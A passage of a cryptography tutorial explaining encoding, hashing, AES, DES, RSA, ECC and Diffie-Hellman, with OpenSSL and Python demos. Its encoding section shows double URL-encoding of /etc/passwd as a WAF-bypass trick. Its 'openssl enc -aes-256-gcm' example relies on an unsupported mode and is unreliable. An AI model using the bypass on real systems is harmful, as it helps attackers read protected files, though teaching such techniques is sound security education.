  Timeline: quantum computers capable of breaking RSA-2048 estimated 10-20 years
  Harvest now, decrypt later: attackers capturing encrypted traffic today
  to decrypt when quantum computers become available
  → "Cryptographically relevant quantum computer" (CRQC) threat
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  3. Encoding vs Encryption vs Hashing
&lt;/h2&gt;

&lt;p&gt;These three are routinely confused. The confusion has security consequences.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;┌─────────────────┬──────────────────────────┬──────────────┬────────────────────┐
│                 │ Purpose                  │ Reversible?  │ Key Required?      │
├─────────────────┼──────────────────────────┼──────────────┼────────────────────┤
│ ENCODING        │ Format conversion        │ YES (trivial)│ NO                 │
│                 │ for transmission         │              │                    │
├─────────────────┼──────────────────────────┼──────────────┼────────────────────┤
│ ENCRYPTION      │ Confidentiality          │ YES (with key)│ YES               │
│                 │ (hide data from          │              │                    │
│                 │ unauthorised parties)    │              │                    │
├─────────────────┼──────────────────────────┼──────────────┼────────────────────┤
│ HASHING         │ Integrity verification   │ NO           │ NO                 │
│                 │ (one-way fingerprint)    │ (by design)  │                    │
└─────────────────┴──────────────────────────┴──────────────┴────────────────────┘
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  3.1 Encoding
&lt;/h3&gt;

&lt;p&gt;Encoding converts data from one format to another for compatibility or transmission purposes. It provides &lt;strong&gt;zero security&lt;/strong&gt; — it is trivially reversed by anyone.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Common encodings:

Base64:
  Converts binary to printable ASCII
  Used: email attachments (MIME), HTTP Basic Auth, JWT tokens, data URIs
  "Hello" → "SGVsbG8="

  NOT encryption — security implication:
  "Authorization: Basic YWRtaW46cGFzc3dvcmQ=" in HTTP header
  Base64 decode → admin:password (instant)

URL Encoding (Percent Encoding):
  Converts special characters for URL safety
  "Hello World" → "Hello%20World"
  "/" → "%2F"

  Security: URL encoding bypass of WAFs/filters
  /etc/passwd → /%65%74%63/%70%61%73%73%77%64
  Some WAFs decode only once; double-encoded input bypasses them

ASCII/Unicode:
  Character ↔ number mapping
  'A' = 65 = 0x41
  No security provided

Hex encoding:
  Binary → hexadecimal representation
  0x48 0x65 0x6C 0x6C 0x6F = "Hello"

ROT13:
  Caesar cipher (rotate letters 13 positions)
  NOT encryption — symmetric but trivially reversed
  Used as "spoiler protection", never for security
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Encoding demonstrations:&lt;/span&gt;

&lt;span class="c"&gt;# Base64 encode/decode:&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"admin:password"&lt;/span&gt; | &lt;span class="nb"&gt;base64&lt;/span&gt;                    &lt;span class="c"&gt;# Encode: YWRtaW46cGFzc3dvcmQ=&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"YWRtaW46cGFzc3dvcmQ="&lt;/span&gt; | &lt;span class="nb"&gt;base64&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt;          &lt;span class="c"&gt;# Decode: admin:password&lt;/span&gt;

&lt;span class="c"&gt;# URL encode/decode with Python:&lt;/span&gt;
python3 &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s2"&gt;"
import urllib.parse
# Encode
encoded = urllib.parse.quote('/etc/passwd')
print('Encoded:', encoded)   # %2Fetc%2Fpasswd

# Double encode (WAF bypass technique)
double = urllib.parse.quote(encoded)
print('Double:', double)    # %252Fetc%252Fpasswd
"&lt;/span&gt;

&lt;span class="c"&gt;# Hex encode/decode:&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Hello"&lt;/span&gt; | xxd &lt;span class="nt"&gt;-p&lt;/span&gt;                              &lt;span class="c"&gt;# Hex encode: 48656c6c6f0a&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"48656c6c6f"&lt;/span&gt; | xxd &lt;span class="nt"&gt;-r&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt;                      &lt;span class="c"&gt;# Hex decode: Hello&lt;/span&gt;

&lt;span class="c"&gt;# Detect encoding in captured traffic:&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"SGVsbG8gV29ybGQ="&lt;/span&gt; | &lt;span class="nb"&gt;base64&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt;               &lt;span class="c"&gt;# Check if it's base64&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"48656c6c6f"&lt;/span&gt; | python3 &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s2"&gt;"import sys; print(bytes.fromhex(sys.stdin.read().strip()).decode())"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  3.2 The Critical Security Distinction
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Most common security mistake: treating encoding as encryption

Example — "stored encoded" passwords (wrong!):
  Password: "SecretPass123"
  Stored as: base64("SecretPass123") = "U2VjcmV0UGFzczEyMw=="
  Security provided: ZERO
  If database is breached: echo "U2VjcmV0UGFzczEyMw==" | base64 -d → SecretPass123

Correct approach:
  Password: "SecretPass123"
  Stored as: bcrypt("SecretPass123") = "$2b$12$LKJSD...."
  Security: computationally infeasible to reverse
  If database is breached: hashes must be cracked (expensive)

Example — "encoded" API credentials in source code:
  API_KEY = base64.encode("ak_prod_12345secret")
  Developers think this hides the key in code
  Anyone who reads the code: decode → plaintext key
  Correct: environment variables, secrets management (Vault, AWS Secrets Manager)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  4. Symmetric Encryption — AES, DES, 3DES, Blowfish
&lt;/h2&gt;

&lt;h3&gt;
  
  
  4.1 How Symmetric Encryption Works
&lt;/h3&gt;

&lt;p&gt;Symmetric encryption uses the &lt;strong&gt;same key&lt;/strong&gt; for encryption and decryption. The key must be shared between sender and receiver through a secure channel — the "key distribution problem."&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Symmetric Encryption Flow:

  Alice                              Bob
    │                                 │
    │ Encrypt with shared key K       │
    │ "Hello" + K → "x7Kp2mQ9..."   │
    │                                 │
    │ ─── Ciphertext ───────────────→ │
    │     (safe to send publicly)     │
    │                                 │
    │                 Decrypt with K  │
    │                 "x7Kp2mQ9..." + K → "Hello"

Key distribution problem:
  How do Alice and Bob share key K securely?
  If they're communicating for the first time over an insecure channel:
  Sending K over the channel → attacker intercepts K → can decrypt everything

Solution: Use asymmetric encryption to exchange the symmetric key
  (this is exactly what TLS does — see Section 10)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  4.2 Block Ciphers vs Stream Ciphers
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Block Ciphers:
  Process data in fixed-size blocks (64-bit, 128-bit)
  Examples: AES (128-bit blocks), DES (64-bit blocks)
  Must handle data that isn't exactly block-size → padding
  Mode of operation determines security properties

Stream Ciphers:
  Process data one bit/byte at a time
  Examples: RC4 (broken), ChaCha20 (modern, secure)
  No padding needed
  More efficient for streaming data
  Crucial: NEVER reuse the same key+nonce combination
           Reuse → XOR ciphertexts → plaintext recovered
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  4.3 Block Cipher Modes of Operation
&lt;/h3&gt;

&lt;p&gt;The mode of operation transforms a block cipher into a complete encryption scheme. Different modes have radically different security properties.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;ECB (Electronic Codebook) — NEVER USE:
  Each block encrypted independently with same key
  Same plaintext block → same ciphertext block

  Security failure:
  Block 1: "Hello Wor" → "x7Kp2mQ9"
  Block 2: "Hello Wor" → "x7Kp2mQ9"  (IDENTICAL — reveals pattern)

  The Linux Penguin (ECB mode image encryption):
  Encrypt a bitmap image of a penguin with AES-ECB
  The outline of the penguin is still visible in the ciphertext
  Because identical pixel blocks produce identical ciphertext blocks
  ECB is broken for any data with patterns (text, images, structured data)

CBC (Cipher Block Chaining) — Common, requires care:
  Each block XOR'd with previous ciphertext before encryption
  Requires Initialization Vector (IV) for first block
  IV must be random and unique per message

  Vulnerabilities:
  - Padding oracle attacks (POODLE, CBC padding oracle)
  - IV reuse → information leakage
  - CBC decryption is parallelisable, encryption is not

CTR (Counter Mode) — Recommended:
  Uses block cipher as pseudo-random generator
  Counter value encrypted, XOR'd with plaintext
  Transforms block cipher into stream cipher
  Encryption AND decryption are parallelisable
  Random access within ciphertext possible

GCM (Galois/Counter Mode) — Best practice:
  CTR mode + Galois Message Authentication Code (GMAC)
  Provides both confidentiality AND integrity/authentication
  "Authenticated encryption with associated data" (AEAD)

  This is what TLS 1.3 uses: AES-128-GCM, AES-256-GCM, ChaCha20-Poly1305

  Critical: GCM nonce must NEVER be reused with the same key
  Nonce reuse in GCM → authentication key revealed → all security lost
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  4.4 AES — Advanced Encryption Standard
&lt;/h3&gt;

&lt;p&gt;AES (Rijndael algorithm, selected by NIST 2001) is the gold standard for symmetric encryption. Understanding how it works illuminates why it is secure.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;AES Specifications:
  Block size: 128 bits (16 bytes) — ALWAYS
  Key sizes: 128, 192, or 256 bits
  Rounds: 10 (AES-128), 12 (AES-192), 14 (AES-256)

AES Internal Structure — Substitution-Permutation Network:

State: 4×4 matrix of bytes (128 bits)
┌──┬──┬──┬──┐
│b0│b4│b8│b12│
│b1│b5│b9│b13│
│b2│b6│b10│b14│
│b3│b7│b11│b15│
└──┴──┴──┴──┘

Each round (except last) applies four operations:

1. SubBytes: each byte replaced by substitute from S-box (256-entry lookup table)
   Provides non-linearity (without this, AES would be linear algebra — trivially broken)

2. ShiftRows: row i is shifted i bytes to the left
   Row 0: unchanged
   Row 1: [b1,b5,b9,b13] → [b5,b9,b13,b1]
   Row 2: [b2,b6,b10,b14] → [b10,b14,b2,b6]
   Row 3: [b3,b7,b11,b15] → [b15,b3,b7,b11]
   Provides diffusion across columns

3. MixColumns: each column multiplied by a matrix in GF(2^8)
   Provides diffusion — one input bit affects multiple output bytes

4. AddRoundKey: XOR state with round key (derived from original key via key schedule)

Final round: SubBytes + ShiftRows + AddRoundKey (no MixColumns)
Key schedule: original key expanded into 11 (AES-128) or 15 (AES-256) round keys

Security: No known attacks significantly better than brute force against AES itself
          All known vulnerabilities are implementation-level (timing attacks, cache attacks)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  4.5 DES — Data Encryption Standard
&lt;/h3&gt;

&lt;p&gt;DES (IBM/NIST, 1977) was the dominant encryption standard for 20 years. It is now completely broken.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;DES Specifications:
  Block size: 64 bits (8 bytes)
  Key size: 56 bits (actually 64 bits, 8 are parity bits)
  Rounds: 16 (Feistel network)

Why DES is broken:
  56-bit key = 2^56 = 72 quadrillion possible keys
  1998: EFF's "Deep Crack" machine cracked DES in 22 hours for $250,000
  2008: FPGA cluster cracked DES in 6.4 days for $10,000
  2012: Cloud computing: DES crackable in hours for ~$100
  Today: DES cracked in minutes on commodity hardware

DES Attacks:
  - Brute force: 2^56 key search (trivial with modern hardware)
  - Differential cryptanalysis: theoretical attacks requiring 2^47 chosen plaintexts
  - Linear cryptanalysis: requires 2^43 known plaintexts
  - Neither more practical than brute force — brute force is already practical

Do not use DES for any purpose.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  4.6 3DES (Triple DES)
&lt;/h3&gt;

&lt;p&gt;3DES applies DES three times to extend effective key length.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;3DES Variants:
  DES-EEE3: Encrypt-Encrypt-Encrypt with 3 different keys (168-bit key, 112-bit security)
  DES-EDE3: Encrypt-Decrypt-Encrypt with 3 different keys (most common, "Triple DES")
  DES-EDE2: Encrypt-Decrypt-Encrypt with 2 different keys (K1=K3, 112-bit key, 80-bit security)

Why 3DES doesn't give 168-bit security:
  Meet-in-the-Middle attack reduces DES-EDE3 to ~112 bits of security
  Still exponentially better than single DES

Problems with 3DES:
  - 64-bit block size → "birthday bound" problem
  - After 2^32 blocks (~32 GB), collisions become likely
  - SWEET32 attack (CVE-2016-2183): exploits 64-bit block birthday bound
    to recover plaintext from long-lived TLS sessions using 3DES
  - Only ~112 bits of security (not 168)
  - MUCH slower than AES (3× DES operations per block)

NIST deprecated 3DES in 2017 (allowed until 2023, disallowed after)
3DES is still found in: legacy payment systems (PCI-DSS grace period),
old TLS configurations, mainframe systems
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  4.7 Blowfish and Twofish
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Blowfish (Bruce Schneier, 1993):
  Block size: 64 bits (same birthday-bound problem as DES/3DES)
  Key size: 32-448 bits (variable)
  Design: public domain, no patent

  Security: No known significant vulnerabilities against Blowfish itself
  Problem: 64-bit block size (SWEET32 applies)
  Use: bcrypt password hashing algorithm uses modified Blowfish (Eksblowfish)
       bcrypt is still recommended for passwords — Blowfish-derived, not raw Blowfish

  Do not use raw Blowfish for data encryption today.

Twofish (Schneier et al., 1998):
  AES finalist (lost to Rijndael in 2001 selection)
  Block size: 128 bits (no birthday-bound problem)
  Key size: 128, 192, 256 bits
  Public domain, no patent
  Still considered secure — no known practical attacks
  Less deployed than AES (lost the competition)
  Available in: TrueCrypt/VeraCrypt, GPG, some TLS configurations
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Symmetric encryption in practice:&lt;/span&gt;

&lt;span class="c"&gt;# AES-256-GCM encryption with OpenSSL:&lt;/span&gt;
openssl enc &lt;span class="nt"&gt;-aes-256-gcm&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-in&lt;/span&gt; plaintext.txt &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-out&lt;/span&gt; encrypted.bin &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-pass&lt;/span&gt; pass:&lt;span class="s2"&gt;"MySecretPassword"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-pbkdf2&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-iter&lt;/span&gt; 100000
&lt;span class="c"&gt;# -aes-256-gcm: AES 256-bit in GCM mode (authenticated encryption)&lt;/span&gt;
&lt;span class="c"&gt;# -pass pass: derive key from password&lt;/span&gt;
&lt;span class="c"&gt;# -pbkdf2: use PBKDF2 key derivation (not simple MD5)&lt;/span&gt;
&lt;span class="c"&gt;# -iter 100000: 100,000 iterations of PBKDF2 (makes brute force slower)&lt;/span&gt;

&lt;span class="c"&gt;# Decryption:&lt;/span&gt;
openssl enc &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="nt"&gt;-aes-256-gcm&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-in&lt;/span&gt; encrypted.bin &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-out&lt;/span&gt; decrypted.txt &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-pass&lt;/span&gt; pass:&lt;span class="s2"&gt;"MySecretPassword"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-pbkdf2&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-iter&lt;/span&gt; 100000

&lt;span class="c"&gt;# AES in Python (cryptography library):&lt;/span&gt;
python3 &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="no"&gt;EOF&lt;/span&gt;&lt;span class="sh"&gt;'
from cryptography.hazmat.primitives.ciphers.aead import AESGCM
import os

# Generate random 256-bit key
key = os.urandom(32)              # 32 bytes = 256 bits

# Generate random 96-bit nonce (12 bytes — recommended for GCM)
nonce = os.urandom(12)

# Create AES-GCM cipher
aesgcm = AESGCM(key)

# Encrypt
plaintext = b"Secret message"
associated_data = b"authenticated but not encrypted metadata"
ciphertext = aesgcm.encrypt(nonce, plaintext, associated_data)
print(f"Ciphertext: {ciphertext.hex()}")
print(f"Length: {len(ciphertext)} bytes (plaintext + 16-byte auth tag)")

# Decrypt (will raise exception if tampered)
try:
    decrypted = aesgcm.decrypt(nonce, ciphertext, associated_data)
    print(f"Decrypted: {decrypted}")
except Exception as e:
    print(f"Authentication failed: {e}")  # Ciphertext was modified
&lt;/span&gt;&lt;span class="no"&gt;EOF

&lt;/span&gt;&lt;span class="c"&gt;# Check what cipher a TLS connection uses:&lt;/span&gt;
openssl s_client &lt;span class="nt"&gt;-connect&lt;/span&gt; google.com:443 2&amp;gt;/dev/null | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;"Cipher"&lt;/span&gt;
&lt;span class="c"&gt;# Look for: AES-128-GCM or AES-256-GCM or CHACHA20-POLY1305&lt;/span&gt;

&lt;span class="c"&gt;# Test if a server still supports broken ciphers:&lt;/span&gt;
nmap &lt;span class="nt"&gt;--script&lt;/span&gt; ssl-enum-ciphers &lt;span class="nt"&gt;-p&lt;/span&gt; 443 target.com | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-E&lt;/span&gt; &lt;span class="s2"&gt;"DES|RC4|NULL|EXPORT"&lt;/span&gt;
&lt;span class="c"&gt;# Any of these: immediately report — broken ciphers in use&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key Insight:&lt;/strong&gt; AES-256-GCM is the correct answer for symmetric encryption in 2024. The mode matters as much as the algorithm — AES-ECB is broken regardless of key length. GCM's built-in authentication tag (AEAD) means you get confidentiality and integrity in a single primitive. If you see DES, 3DES, RC4, or ECB mode anywhere in a production system, it is a vulnerability.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  5. Asymmetric Encryption — RSA, ECC, Diffie-Hellman
&lt;/h2&gt;

&lt;h3&gt;
  
  
  5.1 The Key Exchange Problem — Why Asymmetric Cryptography Exists
&lt;/h3&gt;

&lt;p&gt;Symmetric encryption has a fundamental problem: both parties must share the same key before they can communicate securely. How do you share a key securely with someone you've never met, over an insecure channel?&lt;/p&gt;

&lt;p&gt;Asymmetric cryptography (public key cryptography) solves this by using mathematically related key pairs:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Public key:&lt;/strong&gt; can be shared with anyone&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Private key:&lt;/strong&gt; kept secret, never shared
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Key Pair Relationship:

  Private Key                Public Key
  ───────────               ─────────────
  Secret (never share)      Share freely
  Decrypts what public      Encrypts for private
  key encrypted             key holder
  Signs messages            Verifies signature

The magic: public and private keys are mathematically related
but it is computationally infeasible to derive the private key
from the public key (assuming the hard problems hold)

Analogy:
  Public key = padlock (anyone can lock)
  Private key = key to open the padlock

  You give your padlock to Alice
  Alice puts message in box, locks with your padlock
  Only you (private key holder) can open the padlock
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  5.2 RSA — Rivest-Shamir-Adleman
&lt;/h3&gt;

&lt;p&gt;RSA (1977) is based on the difficulty of factoring large integers.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;RSA Key Generation:
1. Choose two large prime numbers p and q (each ~1024-2048 bits)
2. Compute n = p × q (the modulus — public)
3. Compute φ(n) = (p-1)(q-1) (Euler's totient — secret)
4. Choose e such that 1 &amp;lt; e &amp;lt; φ(n) and gcd(e, φ(n)) = 1
   (public exponent — usually 65537 = 2^16 + 1)
5. Compute d = e^(-1) mod φ(n) (private exponent)

Public key:  (n, e)
Private key: (n, d)  [also need p, q for efficient computation]

RSA Encryption (message M):
  Ciphertext C = M^e mod n

RSA Decryption:
  Message M = C^d mod n

Security: Given n, find p and q (integer factorisation)
  This is computationally hard for large n (2048+ bits)

RSA Key Sizes and Security:
  1024-bit: BROKEN (factorable since 2010, do not use)
  2048-bit: Currently secure minimum (recommended for legacy compat)
  3072-bit: Post-2030 recommendation
  4096-bit: High-security applications
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;RSA Attack History:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;RSA-768 factored (2009): 768-bit RSA key factored using 30 years of CPU time
RSA-1024: Not yet factored but academic consensus: should not be used
ROCA vulnerability (CVE-2017-15361):
  Infineon Technologies RSA key generation library flaw
  Generated keys with detectable prime patterns
  Allowed factoring 1024-bit keys in &amp;lt;1 hour, 2048-bit in ~2 weeks
  Affected: YubiKey, TPM chips, smart cards
  1.25 billion keys potentially vulnerable

Bleichenbacher's attack (1998, recurring as ROBOT 2017):
  RSA PKCS#1 v1.5 padding oracle
  If server responds differently to valid vs invalid padding:
  Attacker can recover plaintext of RSA-encrypted messages
  Requires ~1 million queries to server
  Affected F5, Citrix, Cisco, Palo Alto and others in 2017
  ROBOT (Return Of Bleichenbacher's Oracle Threat) - 19 years after original
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  5.3 ECC — Elliptic Curve Cryptography
&lt;/h3&gt;

&lt;p&gt;ECC is based on the algebraic structure of elliptic curves over finite fields.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Elliptic Curve:
  y² = x³ + ax + b (over a finite field GF(p))

  Standard curves (NIST):
  P-256 (secp256r1): 256-bit, 128-bit security
  P-384 (secp384r1): 384-bit, 192-bit security
  P-521 (secp521r1): 521-bit, 260-bit security

  Alternative curves (more trusted implementation properties):
  Curve25519: Ed25519 signatures, X25519 key exchange (preferred)
              Designed by Daniel Bernstein, no NIST involvement
              No concerns about NIST/NSA backdoor in curve parameters
              Used in: Signal, TLS 1.3 key exchange, SSH keys, WireGuard

ECC Key Exchange (ECDH — Elliptic Curve Diffie-Hellman):
  1. Alice generates private key a, computes public key A = a×G (G = generator point)
  2. Bob generates private key b, computes public key B = b×G
  3. Alice computes shared secret: S = a×B = a×(b×G) = (ab)×G
  4. Bob computes shared secret: S = b×A = b×(a×G) = (ab)×G
  Both get the same shared secret without ever transmitting it

ECC Signatures (ECDSA — Elliptic Curve Digital Signature Algorithm):
  Sign with private key, verify with public key
  Much shorter signatures than RSA for equivalent security:
  RSA-2048 signature: 256 bytes
  ECDSA-256 signature: 64 bytes

Advantage over RSA:
  256-bit ECC ≈ 3072-bit RSA in security
  Shorter keys = faster computation, less storage, smaller certificates
  TLS 1.3 exclusively uses ECDHE for key exchange (no RSA key exchange)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  5.4 Diffie-Hellman Key Exchange
&lt;/h3&gt;

&lt;p&gt;DH (1976) was the first public key exchange protocol published. It solves key distribution without ever transmitting the key.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Classic DH (finite field):

1. Public parameters: prime p, generator g (both public, known to everyone)

2. Alice: chooses secret a, computes A = g^a mod p (sends A to Bob)
3. Bob:   chooses secret b, computes B = g^b mod p (sends B to Alice)

4. Alice: computes S = B^a mod p = (g^b)^a mod p = g^(ab) mod p
5. Bob:   computes S = A^b mod p = (g^a)^b mod p = g^(ab) mod p

Both get the same S = g^(ab) mod p — the shared secret
Attacker sees: p, g, A=g^a mod p, B=g^b mod p
To find S: must solve discrete logarithm problem (find a from g^a mod p)
This is computationally hard for large p

DH Key Sizes:
  1024-bit: deprecated (Logjam attack showed feasibility of precomputation)
  2048-bit: minimum acceptable
  3072-bit: recommended

Ephemeral DH (DHE / ECDHE):
  New a, b generated for each session
  Provides: Perfect Forward Secrecy (PFS)
  If long-term key (private key) is compromised later:
  Past sessions cannot be decrypted (each had unique ephemeral keys)

  CRITICAL SECURITY PROPERTY:
  RSA key exchange (static): compromise private key → decrypt ALL past sessions
  ECDHE: compromise private key → can impersonate server, but past sessions safe

  TLS 1.3 mandates ECDHE — forward secrecy is no longer optional
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Asymmetric cryptography in practice:&lt;/span&gt;

&lt;span class="c"&gt;# Generate RSA key pair:&lt;/span&gt;
openssl genrsa &lt;span class="nt"&gt;-out&lt;/span&gt; private.pem 4096           &lt;span class="c"&gt;# Generate 4096-bit RSA private key&lt;/span&gt;
openssl rsa &lt;span class="nt"&gt;-in&lt;/span&gt; private.pem &lt;span class="nt"&gt;-pubout&lt;/span&gt; &lt;span class="nt"&gt;-out&lt;/span&gt; public.pem  &lt;span class="c"&gt;# Extract public key&lt;/span&gt;

&lt;span class="c"&gt;# View key details:&lt;/span&gt;
openssl rsa &lt;span class="nt"&gt;-in&lt;/span&gt; private.pem &lt;span class="nt"&gt;-text&lt;/span&gt; &lt;span class="nt"&gt;-noout&lt;/span&gt; | &lt;span class="nb"&gt;head&lt;/span&gt; &lt;span class="nt"&gt;-20&lt;/span&gt;
&lt;span class="c"&gt;# Shows: modulus, public exponent (65537), private exponent, primes&lt;/span&gt;

&lt;span class="c"&gt;# Generate ECC key pair (preferred):&lt;/span&gt;
openssl ecparam &lt;span class="nt"&gt;-name&lt;/span&gt; prime256v1 &lt;span class="nt"&gt;-genkey&lt;/span&gt; &lt;span class="nt"&gt;-noout&lt;/span&gt; &lt;span class="nt"&gt;-out&lt;/span&gt; ec_private.pem  &lt;span class="c"&gt;# P-256&lt;/span&gt;
openssl ec &lt;span class="nt"&gt;-in&lt;/span&gt; ec_private.pem &lt;span class="nt"&gt;-pubout&lt;/span&gt; &lt;span class="nt"&gt;-out&lt;/span&gt; ec_public.pem
&lt;span class="c"&gt;# Or use Curve25519 (preferred):&lt;/span&gt;
openssl genpkey &lt;span class="nt"&gt;-algorithm&lt;/span&gt; X25519 &lt;span class="nt"&gt;-out&lt;/span&gt; x25519_private.pem
openssl pkey &lt;span class="nt"&gt;-in&lt;/span&gt; x25519_private.pem &lt;span class="nt"&gt;-pubout&lt;/span&gt; &lt;span class="nt"&gt;-out&lt;/span&gt; x25519_public.pem

&lt;span class="c"&gt;# RSA encrypt/decrypt:&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Secret message"&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; plaintext.txt
openssl rsautl &lt;span class="nt"&gt;-encrypt&lt;/span&gt; &lt;span class="nt"&gt;-inkey&lt;/span&gt; public.pem &lt;span class="nt"&gt;-pubin&lt;/span&gt; &lt;span class="nt"&gt;-in&lt;/span&gt; plaintext.txt &lt;span class="nt"&gt;-out&lt;/span&gt; encrypted.bin
openssl rsautl &lt;span class="nt"&gt;-decrypt&lt;/span&gt; &lt;span class="nt"&gt;-inkey&lt;/span&gt; private.pem &lt;span class="nt"&gt;-in&lt;/span&gt; encrypted.bin &lt;span class="nt"&gt;-out&lt;/span&gt; decrypted.txt
&lt;span class="nb"&gt;cat &lt;/span&gt;decrypted.txt

&lt;span class="c"&gt;# Check a server's public key:&lt;/span&gt;
openssl s_client &lt;span class="nt"&gt;-connect&lt;/span&gt; google.com:443 2&amp;gt;/dev/null | &lt;span class="se"&gt;\&lt;/span&gt;
    openssl x509 &lt;span class="nt"&gt;-noout&lt;/span&gt; &lt;span class="nt"&gt;-text&lt;/span&gt; | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-E&lt;/span&gt; &lt;span class="s2"&gt;"Public Key Algorithm|Public-Key:"&lt;/span&gt;
